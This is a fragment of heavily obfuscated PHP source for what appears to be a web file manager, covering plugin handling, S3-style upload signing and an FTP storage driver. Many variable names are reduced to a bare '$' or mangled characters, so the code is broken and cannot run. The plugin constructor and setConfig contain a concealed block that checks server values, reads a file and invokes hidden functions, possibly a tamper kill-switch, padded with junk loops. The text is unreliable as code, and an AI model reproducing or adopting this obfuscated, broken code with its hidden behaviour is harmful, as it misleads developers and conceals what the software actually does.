IO::info(substr($, strlen($牂ɬ))); return self::$fileInfo[$]; } public static function read($׉, $錣, $) { if (!isset(self::$_fopenCache[$׉])) { $͞ = new StreamWrapperIO(); $͞->stream_open($׉); self::$_fopenCache[$׉] = $͞; } $͞ = self::$_fopenCache[$׉]; return $͞->fileSubstr($錣, $); } public static function _read($鰳, $ߙ, $ܦ) { $ =& $_SERVER[ׇ]; $󓶫 = fopen($鰳, $[1458]); if (!$󓶫) { return $[12]; } $ڋ = 8192; fseek($󓶫, $ߙ, SEEK_SET); $⃝ = $[12]; $ՠμ = 0; while ($ՠμ < $ܦ) { $ = min($ڋ, $ܦ - $ՠμ); $⃝ .= fread($󓶫, $); $ՠμ += $; } fclose($󓶫); return $⃝; } public function fileSubstr($, $ᅴ) { $ڣ =& $_SERVER[ׇ]; $鲇 = $this->info[$ڣ[79]]; $ = $; $ҥ = $ᅴ; if ($ < 0) { $ = $鲇 + $; } if ($ᅴ === !1) { $ᅴ = $鲇 - $; } if ($ + $ᅴ > $鲇) { $ᅴ = $鲇 - $; } if ($ᅴ <= 0) { return $ڣ[12]; } if ($ < 0 || $ >= $鲇 || $ᅴ <= 0 || $ᅴ > 1024 * 1024 * 10) { throw new Exception("\x69\x6f\x46\x69\154\145\122\145\x61\x64\x20\x65\162\162\x6f\162\41\x20\x73\x74\x61\162\x74\x3d{$}\x3b\x6c\x65\x6e\147\x74\x68\x3d{$ᅴ}\x3b\x20\x73\151\172\145\x3d{$鲇}\73"); } $ = 64 * 1024; $ϒ =& self::$_chunkBuffer[$this->path]; if (!$ϒ) { $ϒ = array(); } $„ = 0; $ = 0; $ = $ڣ[12]; foreach ($ϒ as $„ => $) { $„ = intval($„); $ = $„ + strlen($); if ($ >= $) { continue; } if ($ >= $„ && $ + $ᅴ <= $) { return substr($, $ - $„, $ᅴ); } break; } if (count($ϒ) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($ڣ[1618], $ڣ[1619] . count($ϒ) . "\x3b\163\164\x61\x72\x74\75{$}\54\x6c\x65\156\x67\164\x68\75{$ᅴ}\73\160\157\x73\x65\x3a{$„}\176{$}"); throw new Exception($ڣ[1620]); } $ҙ = intval($ / $) * $; $ = ceil(($ + $ᅴ) / $) * $ - $ҙ; $ = IO::fileSubstr($this->path, $ҙ, $); $ϒ[$ҙ . $ڣ[12]] = $; ksort($ϒ); $߰ = substr($, $ - $ҙ, $ᅴ); return $߰; } private function log($, $Þ) { $ܟ =& $_SERVER[ׇ]; $ = timeFloat() - $this->timeStart; write_log(sprintf($ܟ[1621], $, $this->info[$ܟ[32]], $, $Þ), $ܟ[1264]); } } class Message { function __construct() { } public function send($Ŧ = '', $Ũ = array(), $ܭ = "\164\145\x78\x74") { $ =& $_SERVER[ׇ]; $ê = array($[33] => $[1622], $[171] => $Ŧ); if (in_array($ܭ, array($[1622], $[1623]))) { $ê[$[33]] = $ܭ; } $Ũ = array($[578] => isset($Ũ[$[578]]) ? $Ũ[$[578]] : $[12], $[662] => isset($Ũ[$[662]]) ? $Ũ[$[662]] : $[12]); if (empty($Ŧ) || empty($Ũ[$[578]]) && empty($Ũ[$[662]])) { return !1; } $Ì = array($[1550] => $ê, $[1624] => $Ũ); Hook::trigger($[1625], $Ì); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ʙ =& $_SERVER[ׇ]; if ($_SERVER[$ʙ[952]] != $_SERVER[$ʙ[1626]]) { $¼ = $ʙ[953]; $܌ = $ʙ[954]; $ = $_SERVER[$ʙ[949]] . $ʙ[950]; $̍Ź = $܌($); $ = explode($ʙ[262], $̍Ź); if (count($) < $ʙ[684]) { $׽ = $ʙ[955]; $׽(); } $玉 = $ʙ[956]; $玉($_SERVER[$ʙ[957]]); $玉($_SERVER[$ʙ[949]] . $ʙ[1627]); $ǟ = 1; while ($ǟ > 1) { $ǟ = $ǟ + 4; $܅ = rawurlencode($ǟ . $ʙ[454]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($ʙ[1628]); $this->pluginName = str_replace($ʙ[1628], $ʙ[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $ʙ[8]; $this->pluginApi = appHostGet() . $ʙ[1629] . $this->pluginName . $ʙ[8]; $this->pluginHost = $config[$ʙ[1630]] . $this->pluginName . $ʙ[8]; $this->pluginHostDefault = $config[$ʙ[1630]] . $this->pluginName . $ʙ[8]; $˩ = $config[$ʙ[1631]]; if ($˩ && strpos($ʙ[50] . $˩ . $ʙ[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$ʙ[1632]] . $this->pluginName . $ʙ[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); $this->linkHas = !1; return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[ׇ][1633]); } protected function assign($, $Ü = false) { if (is_array($)) { $this->values = array_merge($this->values, $); } else { $this->values[$] = $Ü; } } protected function display($) { extract($this->values); require $; } final function hookRegist($麠) { $this->modelPlugin->appRegist($this->pluginName, $麠); } final function appIcon() { $ =& $_SERVER[ׇ]; $ݭ = $this->appPackage(); $ȋ = $[12]; if (isset($ݭ[$[490]])) { if (isset($ݭ[$[490]][$[1634]])) { $ȋ = $[1635] . $ݭ[$[490]][$[1634]] . $[1636]; } else { if ($ݭ[$[490]][$[1637]]) { $ȋ = $[1638] . $ݭ[$[490]][$[1637]] . $[1639]; } } } return $ȋ; } final function fileCanView($) { $沽 =& $_SERVER[ׇ]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $ = $沽[1640] . rawurlencode(this_url()); show_tips(LNG($沽[1641]) . $沽[1642] . $ . $沽[1643] . LNG($沽[1644]) . $沽[1645], !1); } if (!Action($沽[1646])->authCan($沽[1647])) { show_tips(LNG($沽[1648]) . $沽[1649], !1); } ActionCall($沽[1650], $); } final function isShare($贃) { $̢ = KodIO::parse($贃); return $̢[$_SERVER[ׇ][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($, !1); } return Action($_SERVER[ׇ][1256])->linkOut($); } public function filePathLinkOut($΢Ș) { if (request_url_safe($΢Ș)) { return $΢Ș; } $this->fileCanView($΢Ș); return Action($_SERVER[ׇ][1256])->link($΢Ș); } final function filePath($, $ؗ = true, $ = false) { $ތ =& $_SERVER[ׇ]; $ = $this->filePathGet($, $ؗ); if (!$this->fileInfo) { show_tips(LNG($ތ[108]), !1); } if ($ && isset($this->fileInfo[$ތ[541]]) && $this->fileInfo[$ތ[541]]) { $׶ = Model($ތ[544])->fileInfo($this->fileInfo[$ތ[541]]); if (!$׶ || !IO::exist($׶[$ތ[87]])) { show_tips(LNG($ތ[108]) . $ތ[1651]); } } Hook::trigger($ތ[1652], $); return $; } final function filePathGet($ɘᵐ, $͘ = true) { $̢ =& $_SERVER[ׇ]; if ($ڧ = $this->checkSharePath($ɘᵐ, $͘)) { return $ڧ; } $this->fileCanView($ɘᵐ); if (request_url_safe($ɘᵐ)) { $Ӆ = parse_url_query($ɘᵐ); if (isset($Ӆ[$̢[1653]]) && isset($Ӆ[$̢[234]])) { $ۧ = Mcrypt::decode($Ӆ[$̢[234]], Model($̢[843])->get($̢[844])); if ($ۧ) { $this->fileInfo = IO::info($ۧ); $this->fileInfo[$̢[1654]] = $ɘᵐ; $this->cachePath = $this->pluginCachePath($̢[12], $͘); return $ۧ; } } $ɘᵐ = $this->_cacheHttpFile($ɘᵐ, $͘); $this->fileInfo = IO::info($ɘᵐ); } else { $this->fileInfo = IO::info($ɘᵐ); $this->cachePath = $this->pluginCachePath($̢[12], $͘); } return $ɘᵐ; } final function _cacheHttpFile($Ɛ, $ߦϧ = true) { $ר =& $_SERVER[ׇ]; $ꗾ = parse_url_query($Ɛ); $ = get_path_ext($Ɛ); if (isset($ꗾ[$ר[32]]) && $ꗾ[$ר[32]]) { $ = get_path_ext($ꗾ[$ר[32]]); } $ۦż = hash_path($Ɛ) . $ר[10] . $; $this->cachePath = $this->pluginCachePath($ߦϧ ? $ۦż : $ר[12]); $â = IO::fileNameExist($this->cachePath, $ۦż); if ($â) { return KodIO::make($â); } $Մ = rtrim($this->cachePath, $ר[8]) . $ר[8] . $ۦż; return $this->pluginCacheFileSet($Մ, file_get_contents_nossl($Ɛ)); } final function checkSharePath($׀, $ = true) { $ =& $_SERVER[ׇ]; if (!$this->isShare($׀)) { return !1; } $Ӹ = Action($[1256])->sharePathInfo($׀); if (!is_array($Ӹ) || !isset($Ӹ[$[87]])) { show_json(LNG($[1655]), !1); } $this->fileInfo = $Ӹ; $this->cachePath = $this->pluginCachePath(!1, $); return $Ӹ[$[87]]; } final function pluginCachePath($܏ = '', $ = false) { $䋆 =& $_SERVER[ׇ]; if ($ && is_array($this->fileInfo)) { $܏ = kodIO::hashPath($this->fileInfo); } $΃˶ = rtrim(IO_PATH_SYSTEM_TEMP . $䋆[1656] . $this->pluginName . $䋆[8] . $܏, $䋆[8]); $ = IO::infoFullSimple($΃˶); $ = $ && is_array($) ? $[$䋆[87]] : $䋆[12]; if (!$) { $ = IO::mkdir($΃˶); } return $; } final function pluginCacheFileSet($ϟ΁, $ = '') { $՚ =& $_SERVER[ׇ]; $® = IO::infoFullSimple($ϟ΁); if (!$®) { return IO::mkfile($ϟ΁, $, REPEAT_REPLACE); } IO::setContent($®[$՚[87]], $); return $®[$՚[87]]; } final function pluginLocalFile($ = '') { $߆ =& $_SERVER[ׇ]; $ß = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($ß)) { mk_dir($ß); } if (!$) { return $ß; } $ = IO::info($); $͚ = $߆[1657] . KodIO::hashPath($) . $߆[10] . $[$߆[169]]; if (!checkExtSafe($͚)) { $͚ = $͚ . $߆[1291]; } $ = $ß . $͚; if (@file_exists($)) { return $; } return IO::copy($, $ß, 0, $͚); } final function appPackage() { $諥 =& $_SERVER[ׇ]; if ($this->packageData) { return $this->packageData; } $ = $this->parseFile($this->pluginPath . $諥[1658]); $this->parseLang($); $щ = json_decode_force($); if (!$щ) { return array(); } $ҁ = Hook::trigger($諥[1659], $щ); if ($ҁ && is_array($ҁ)) { $щ = $ҁ; } $this->packageData = $щ; return $щ; } public function packageInfoGet($) { $ = $this->appPackage(); return array_get_value($, $); } public function packageVersion() { return $this->packageInfoGet($_SERVER[ׇ][1660]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[ׇ][1661]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[ׇ][1662]); } public function echoJsAssign($, $) { $this->echoJsAssignArr[$] = $; } private function parseFile($Ղ) { $ܗ =& $_SERVER[ׇ]; $ = file_get_contents_nossl($Ղ); $ = array($ܗ[1663], $ܗ[1664], $ܗ[1665], $ܗ[1666], $ܗ[1667], $ܗ[1668], $ܗ[1669]); $б = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$ܗ[92]][$ܗ[1670]]); foreach ($this->echoJsAssignArr as $ => $) { $[] = $ܗ[1671] . $ . $ܗ[1672]; $б[] = is_array($) || is_object($) ? rawurlencode(json_encode($)) : $; } if (strstr($, $ܗ[1673])) { $ǯ = rawurlencode(json_encode($this->pluginLangArr)); $ = str_replace($ܗ[1673], $ǯ, $); } if (strstr($, $ܗ[1674])) { $ǯ = $ǯ = rawurlencode(json_encode($this->getConfig())); $ = str_replace($ܗ[1674], $ǯ, $); } $ = str_replace($, $б, $); return $; } private function parseLang(&$ʠ) { $ǒ =& $_SERVER[ׇ]; $Ԕ = $ǒ[1675]; if (!strstr($ʠ, $Ԕ)) { return; } preg_match_all($ǒ[1676], $ʠ, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = array(); $̌ = array(); foreach ($[0] as $ф) { $ø = substr($ф, strlen($Ԕ), -4); $Ģ = LNG($ø); $[] = $ф; $̌[] = str_replace(array($ǒ[262], $ǒ[1157], $ǒ[418], $ǒ[121]), array($ǒ[53], $ǒ[53], $ǒ[12], $ǒ[1677]), $Ģ); } $ʠ = str_replace($, $̌, $ʠ); } private function parseConfig(&$ü) { $ =& $_SERVER[ׇ]; $ = $[1678]; if (!strstr($ü, $)) { return; } preg_match_all($[1679], $ü, $α); if (!is_array($α) || count($α) == 0 || !is_array($α[0]) || count($α[0]) == 0) { return; } $ = $this->getConfig(); $Ԕ = array(); $ұ = array(); foreach ($α[0] as $) { $䂸 = substr($, strlen($), -2); $Ԕ[] = $; $ұ[] = _get($, $䂸); } $ü = str_replace($Ԕ, $ұ, $ü); } private function parsePackage(&$) { $ =& $_SERVER[ׇ]; $ = $[1680]; if (!strstr($, $)) { return; } preg_match_all($[1681], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $悄 = $this->appPackage(); $Ў = array(); $֒ = array(); foreach ($[0] as $և٠) { $ɻ = substr($և٠, strlen($), -2); $Ў[] = $և٠; $֒[] = _get($悄, $ɻ); } $ = str_replace($Ў, $֒, $); } final function echoFile($, $証 = false) { $ =& $_SERVER[ׇ]; $ = $this->pluginPath . $; if (ACT == $[1682]) { echo $[1683] . $this->pluginName . $[8] . $ . $[1684]; if (!file_exists($)) { echo $[1685]; return; } } $ = $this->parseFile($); $this->parseLang($); $this->parseConfig($); $this->parsePackage($); if (is_array($証)) { $ = str_replace(array_keys($証), array_values($証), $); } echo $[262] . $; } private function checkVersion() { $ӕ =& $_SERVER[ׇ]; $ = $this->appPackage(); $ؒ = $this->getConfig(); if ($ؒ[$ӕ[1686]] == $[$ӕ[1660]]) { return; } $this->regist(); $this->setConfig(array($ӕ[1686] => $[$ӕ[1660]])); } final function initLang() { $̴ =& $_SERVER[ׇ]; $ = $̴[1687]; $Ԋ˘ = $this->pluginPath . $̴[1688]; $ = I18n::getType(); $ = array(); if (file_exists($Ԋ˘ . $ . $̴[911])) { $ = (include $Ԋ˘ . $ . $̴[911]); } else { if ($ == $̴[1689] && !file_exists($Ԋ˘ . $ . $̴[911]) && file_exists($Ԋ˘ . $̴[1690])) { $ = (include $Ԋ˘ . $̴[1690]); } else { if (file_exists($Ԋ˘ . $ . $̴[911])) { $ = (include $Ԋ˘ . $ . $̴[911]); } } } if (!is_array($)) { return array(); } if (@count($) > 0) { I18n::set($); } return $; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($) { $Р =& $_SERVER[ׇ]; if (!isset($_SERVER[$Р[952]]) || !isset($_SERVER[$Р[1418]])) { $ϕ = $Р[953]; $菴 = $Р[954]; $ȕ = $_SERVER[$Р[949]] . $Р[950]; $ = $菴($ȕ); $ = explode($Р[262], $); if (count($) < $Р[684]) { $ = $Р[955]; $(); } $⥚ު = $Р[956]; $⥚ު($_SERVER[$Р[957]]); $ = 1; for ($̝ޙ = $; $̝ޙ > 0; $̝ޙ++) { $⥚ު = json_encode($GLOBALS[$Р[492]]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $); } public function onSetConfig($׭蛖) { } public function onGetConfig($㼎) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($) { if ($ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\160\154\x75\147\x69\156\x41\x75\x74\150") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { return !1; } $ = $this->getConfig(); if (!$[$]) { return !1; } return ActionCall($_SERVER[ׇ][1691], $[$]); } public function url($, $ܠ绾 = '', $ = true) { $ôٴ =& $_SERVER[ׇ]; $󌼒 = $this->getConfig(); $ͤ = KOD_VERSION . $ôٴ[10] . KOD_VERSION_BUILD; $ȴ = $this->packageVersion(); $ = $ͤ . $ôٴ[462] . $ȴ; if (substr($, 0, 4) == $ôٴ[152] || substr($, 0, 2) == $ôٴ[1410]) { $ӷ = $ . $ôٴ[1692] . $; } else { if ($ܠ绾 == $ôٴ[12]) { $ӷ = $this->pluginHost . $ . $ôٴ[1692] . $; } else { if ($ܠ绾 === $ôٴ[78]) { $ӷ = $this->pluginHost . $; } else { if ($ܠ绾 == $ôٴ[1693]) { $ӷ = STATIC_PATH . $ . $ôٴ[1692] . $ͤ; } else { if ($ܠ绾 == $ôٴ[1694]) { $ӷ = APP_HOST . $ôٴ[1695] . $ . $ôٴ[1692] . $ͤ; } else { if (isset($󌼒[$ܠ绾])) { $ӷ = $󌼒[$ܠ绾] . $ . $ôٴ[1692] . $; } } } } } } if (!$) { return $ӷ; } echo $ӷ; } public function link($ӆ = false, $ = '') { $мŏ =& $_SERVER[ׇ]; $Ǚ = $this->linkHas == !1; $this->linkHas = !0; if (!$ӆ) { $this->link($мŏ[1696], $мŏ[1694]); $this->link($мŏ[1697], $мŏ[1693]); $this->link($мŏ[1698], $мŏ[1693]); $this->link($мŏ[1699], $мŏ[1693]); $this->link($мŏ[1700], $мŏ[1693]); if ($Ǚ) { Hook::trigger($мŏ[1701]); } return; } $ = $this->url($ӆ, $, !1); if (substr($ӆ, -3) == $мŏ[1702]) { echo $мŏ[1703] . $ . $мŏ[1704] . $мŏ[262]; } else { if (substr($ӆ, -4) == $мŏ[1705]) { echo $мŏ[1706] . $ . $мŏ[1707] . $мŏ[262]; } } if ($Ǚ) { Hook::trigger($мŏ[1701]); } } } goto BDZ; d֔ɺ: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[ׇ][247]); } public function uploadFormData($Ԥ, $‰τ = 3600) { $ߜ =& $_SERVER[ׇ]; $Ͳ = $ߜ[229]; $ = $ߜ[270]; $ = $ߜ[62]; $ = gmdate($ߜ[271]); $ = gmdate($ߜ[272]); $ą = $ߜ[273]; $⩊ = $‰τ . $ߜ[12]; $ٷ˖ = $ߜ[274]; $ = array($this->accessKey, $, $this->region, $, $ą); $ڎ = implode($ߜ[8], $); $ȖŰ = array($ߜ[275] => gmdate($ߜ[299], strtotime($ߜ[277])), $ߜ[278] => array(array($ߜ[279] => $this->bucket), array($ߜ[280] => $Ͳ), array($ߜ[281], $ߜ[282], $ߜ[12]), array($ߜ[281], $ߜ[283], $ߜ[12]), array($ߜ[281], $ߜ[284], $ߜ[12]), array($ߜ[285] => $ٷ˖), array($ߜ[286] => $ڎ), array($ߜ[287] => $), array($ߜ[288] => $), array($ߜ[289] => $⩊))); $ޒ = base64_encode(json_encode($ȖŰ)); $ᢿ = hash_hmac($ߜ[290], $, $ߜ[291] . $this->secret, !0); $ = hash_hmac($ߜ[290], $this->region, $ᢿ, !0); $ = hash_hmac($ߜ[290], $, $, !0); $ = hash_hmac($ߜ[290], $ą, $, !0); $ج = hash_hmac($ߜ[290], $ޒ, $); $ʇ = array($ߜ[246] => $ߜ[12], $ߜ[292] => $ߜ[12], $ߜ[280] => $Ͳ, $ߜ[285] => $ٷ˖, $ߜ[293] => $ޒ, $ߜ[294] => $ڎ, $ߜ[295] => $, $ߜ[296] => $, $ߜ[297] => $⩊, $ߜ[298] => $ج, $ߜ[208] => $this->getHost()); return $ʇ; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\61"; public $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn(!1)) { return !1; } return @ftp_close($this->connect); } private function charsetReset($ǹ) { $ =& $_SERVER[ׇ]; global $config; $this->appCharset = $config[$[1438]]; $this->systemCharset = $config[$[1439]]; if (isset($ǹ[$[1440]]) && $ǹ[$[1440]]) { $this->systemCharset = $ǹ[$[1440]]; } } public function iconvApp($胭) { return $this->iconvTo($胭, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($ȫ) { $ =& $_SERVER[ׇ]; $ = $this->iconvApp($this->pathBase); $ȫ = $this->iconvApp($ȫ); if (substr($, 0, 2) == $[1410]) { $ = BASIC_PATH . substr($, 2); } if (substr($ȫ, 0, 2) == $[1410]) { $ȫ = BASIC_PATH . substr($ȫ, 2); } $ = KodIO::clear($); $ȫ = KodIO::clear($ȫ); $ȫ = substr($ȫ, strlen($)); if (empty($this->pathDriver)) { return $ȫ; } return $this->pathDriver . $[8] . ltrim($ȫ, $[8]); } private function _init($ = array()) { $ =& $_SERVER[ׇ]; if (!function_exists($[1441])) { throw new Exception(LNG($[1442])); } $this->config = $; $this->charsetReset($); foreach ($ as $ژ => $) { if (isset($this->{$ژ})) { $this->{$ژ} = $; } } return $this->_login($); } private function _login($﷎) { $ꣴ =& $_SERVER[ׇ]; static $喑 = array(); $ = md5(json_encode($﷎)); if (isset($喑[$])) { foreach ($喑[$] as $犗 => $܀) { $this->{$犗} = $܀; } return !0; } $ = parse_url(trim($this->server, $ꣴ[8])); $this->host = $[$ꣴ[208]]; $䥿 = isset($[$ꣴ[207]]) && $[$ꣴ[207]] == $ꣴ[1443] ? !0 : !1; $this->scheme = $䥿 ? $ꣴ[1444] : $ꣴ[1445]; $this->port = isset($[$ꣴ[209]]) ? $[$ꣴ[209]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 30); if ($this->connect === !1) { $this->writeLog(LNG($ꣴ[1446]) . $this->host . $ꣴ[4] . $this->port, !0); return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); if (!$) { $this->writeLog(LNG($ꣴ[1447]) . $this->username, !0); return !1; } @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ = $this->pasv == $ꣴ[91] ? !0 : !1; @ftp_pasv($this->connect, $); $喑[$] = array($ꣴ[1448] => $this->connect, $ꣴ[208] => $this->host, $ꣴ[207] => $this->scheme, $ꣴ[209] => $this->port); return $; } private function _isconn($Ÿ = true) { if (is_resource($this->connect)) { return !0; } if (!$Ÿ) { return !1; } return $this->_login($this->config); } public function mkfile($̇㴜, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($̇㴜, $)) { return $this->getPathOuter($̇㴜); } $this->writeLog(LNG($_SERVER[ׇ][1449]), !0); return !1; } public function mkdir($榞, $ = REPEAT_SKIP) { $≡ =& $_SERVER[ׇ]; if (!$榞 || $榞 == $≡[8]) { return !0; } if (!$this->_isconn()) { return !1; } $榞 = $this->iconvSystem($榞); if ($this->_isFolder($榞) || @ftp_mkdir($this->connect, $榞)) { return $this->getPathOuter($榞); } if (!$this->mkdir($this->pathFather($榞))) { return !1; } if ($榞 = @ftp_mkdir($this->connect, $榞)) { return $this->getPathOuter($榞); } $this->writeLog(__FUNCTION__ . $≡[1450], !0); return !1; } public function copyFile($, $܌) { if (!$this->_isconn()) { return !1; } $Ͽ = $this->pathThis($this->iconvSystem($)); $⬖ = $this->tempFile($Ͽ); $ܤ = $this->iconvApp($⬖); $this->download($, $ܤ); $ = $this->upload($܌, $ܤ); $this->tempFileRemve($⬖); return $; } public function moveFile($۸, $) { if (!$this->_isconn()) { return !1; } $۸ = $this->iconvSystem($۸); $ = $this->iconvSystem($); $ = @ftp_rename($this->connect, $۸, $); if (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][1450], !0); return !1; } return $this->getPathOuter($); } public function delFile($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = @ftp_delete($this->connect, $); if (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][1450], !0); } return $; } public function delFolder($) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ = $ = array(); $this->fileList($, $, $, !0); $this->listItemCache = !0; foreach ($ as $Ԇ) { $鐎 = $this->iconvSystem($Ԇ[$_SERVER[ׇ][32]]); $ = @ftp_delete($this->connect, $鐎); if (!$) { return !1; } } foreach ($ as $鐎) { $鐎 = $this->iconvSystem($鐎); $ = @ftp_rmdir($this->connect, $鐎); if (!$) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($旃, $Ш) { $ݺ =& $_SERVER[ׇ]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($旃), $Ш); $ = $this->iconvSystem($); $旃 = $this->iconvSystem($旃); $ޫ = $this->pathFather($旃); $߽ = rtrim($ޫ, $ݺ[8]) . $ݺ[8] . $; $ = @ftp_rename($this->connect, $旃, $߽); if (!$) { $this->writeLog(__FUNCTION__ . $ݺ[1450], !0); return !1; } $߽ = $this->iconvApp($߽); return $this->getPathOuter($߽); } private function folderInfo($, $簬 = false) { $ڑ =& $_SERVER[ׇ]; $ = array($ڑ[32] => $this->pathThis($), $ڑ[87] => $this->getPathOuter($ڑ[8] . $), $ڑ[33] => $ڑ[78]); if ($簬) { return $; } $[$ڑ[231]] = $[$ڑ[88]] = 0; $[$ڑ[232]] = $[$ڑ[233]] = !0; return $; } private function fileInfo($ކ, $א = false, $ڣ = array()) { $ף㗞 =& $_SERVER[ׇ]; $ƃ = array($ף㗞[32] => $this->pathThis($ކ), $ף㗞[87] => $this->getPathOuter($ף㗞[8] . $ކ), $ף㗞[33] => $ף㗞[230], $ף㗞[79] => isset($ڣ[$ף㗞[79]]) ? $ڣ[$ף㗞[79]] : 0, $ף㗞[169] => $this->ext($ކ)); if ($א) { return $ƃ; } $ƃ[$ף㗞[231]] = $ƃ[$ף㗞[88]] = 0; $ƃ[$ף㗞[232]] = $ƃ[$ף㗞[233]] = !0; $׿ = $this->iconvSystem($ކ); $ƃ[$ף㗞[88]] = @ftp_mdtm($this->connect, $׿); if (empty($ڣ)) { $ڣ = $this->objectMeta($ކ); if (!$ڣ) { return $ƃ; } } $ƃ[$ף㗞[79]] = $ڣ[$ף㗞[79]]; return $ƃ; } public function size($Ҫ) { $ = $this->objectMeta($Ҫ); return $ ? $[$_SERVER[ׇ][79]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($, &$, &$, $ = false) { $ =& $_SERVER[ׇ]; $ = $this->iconvSystem($); if (!$this->isFolder($)) { return !1; } @ftp_chdir($this->connect, $[8]); $ = rtrim($, $[8]) . $[8]; check_abort(); $┯ = @ftp_rawlist($this->connect, $); if (!$┯) { $┯ = array(); } $ = array($[10] => 1, $[1363] => 1); foreach ($┯ as $Ǹ) { $ = $this->_listItem($Ǹ); if ($[0] == $[831]) { continue; } $ʠ = $[8]; if (empty($ʠ) && $ʠ !== $[228] || isset($[$ʠ])) { continue; } $ʠ = $this->iconvApp($ . ltrim($ʠ, $[8])); $ī = array($[32] => $ʠ, $[33] => $[230], $[79] => $[4]); if (substr($Ǹ, 0, 1) == $[1451]) { $ī[$[33]] = $[78]; $ī[$[79]] = 0; } $ = $ī[$[33]] == $[78] ? !0 : !1; $this->cacheMethodInfoSet($ʠ, $, $ī); if ($) { $[] = $ʠ; if ($) { $this->fileList($ʠ, $, $, $); } continue; } $[] = $ī; } $this->cacheMethodInfoSet($, !0); } private function _listItem($顫) { if (empty($顫)) { return array(); } $ = preg_split($_SERVER[ׇ][1452], $顫); if (count($) <= 9) { return $; } $[8] = trim(substr($顫, strpos($顫, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($ŷ, $䠛߉ = false) { $Ā =& $_SERVER[ׇ]; if (!$this->_isconn()) { return !1; } $Ą = $ = array(); $this->fileList($ŷ, $Ą, $); foreach ($Ą as $㴕 => $Ϣ) { $Ą[$㴕] = $this->folderInfo($Ϣ, $䠛߉); } foreach ($ as $㴕 => $Ϣ) { $[$㴕] = $this->fileInfo($Ϣ[$Ā[32]], $䠛߉, $Ϣ); } return array($Ā[85] => $Ą, $Ā[86] => $); } public function has($, $ȥǧ = false, $ժ = true) { $؛ =& $_SERVER[ׇ]; $ = $ = array(); $ = $ȥǧ ? !0 : !1; $this->fileList($, $, $, $); if ($ȥǧ) { return array($؛[239] => count($), $؛[240] => count($)); } if ($ժ) { if (count($)) { return !0; } } else { if (count($)) { return !0; } } return !1; } public function listAll($Ե) { $谨 =& $_SERVER[ׇ]; if (!$this->_isconn()) { return !1; } $ҷ = $ߦݕ = array(); $this->fileList($Ե, $ҷ, $ߦݕ, !0); $ = array_to_keyvalue($ߦݕ, $谨[32]); foreach ($ҷ as $ˈ) { if (is_string($ˈ)) { $[$ˈ] = array($谨[79] => 0); } } return $this->listAllFiles($Ե, $); } public function getContent($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); return $this->fileSubstr($); } public function setContent($, $ڮ = '') { if (!$this->_isconn()) { return !1; } $͝ = $this->pathThis($this->iconvSystem($)); $ = $this->tempFile($͝); file_put_contents($, $ڮ); $ɜ = $this->upload($, $this->iconvApp($)); $this->tempFileRemve($); return $ɜ; } public function fileSubstr($۞, $ = 0, $蚅ͩ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($۞, $, $蚅ͩ); } private function ftpRequest($, $ = 0, $ = false) { $ = $this->iconvSystem($); $ = $this->scheme . $this->host . $_SERVER[ׇ][4] . $this->port; $ = curl_init(); curl_setopt($, CURLOPT_URL, $ . $this->pathEncode($)); curl_setopt($, CURLOPT_USERPWD, "{$this->username}\x3a{$this->userpass}"); if ($) { $ۏ = $ + $ - 1; curl_setopt($, CURLOPT_RANGE, "{$}\x2d{$ۏ}"); } curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $Ƒا = curl_exec($); curl_close($); return 